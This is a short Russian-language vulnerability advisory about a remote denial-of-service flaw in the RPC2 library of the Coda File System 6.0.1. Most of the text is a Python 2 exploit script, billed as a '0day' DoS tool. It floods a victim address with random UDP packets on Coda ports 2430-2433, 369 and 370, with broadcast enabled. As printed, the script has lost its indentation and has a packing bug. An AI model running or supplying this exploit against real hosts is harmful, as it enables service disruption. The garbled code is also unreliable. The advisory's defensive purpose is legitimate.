Отказ в обслуживании обнаружен в Code file system. Работа приложения, использующего RPC2, может быть аварийно завершена удаленным пользователем.
Удаленный пользователь может послать злонамеренный пакет к приложению, которое использует библиотеку Coda RPC2, чтобы аварийно завершить его работу.
Уязвимость обнаружена в Coda File System 6.0.1.
Эксплоит:
#!/usr/bin/python2
#
# 0day coda infrastructure d0s thinger
# - andrewg
#
import os, sys, struct, socket, random
if len(sys.argv) < 2:
print sys.argv[0] + " address_of_victim"
sys.exit(-1)
header = struct.pack(">l", 8)
rnd = random.seed(232)
n = 0
for i in range(1, 20, 1):
pkt = header
j = random.randint(1, 512)
for k in range(1, j, 1): l = random.randint(1, 65535)
j = random.randint(1, 512)
for j in range(1, j, 1):
pkt += struct.pack("<b", random.randint(1, 256))
for m in 2430, 2431, 2432, 2433, 369, 370:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
except:
if(n == 0): print "Unable to set broadcast"
n = 1
s.connect((sys.argv[1], m))
s.send(pkt)
s.close()
print "[d0s sent]"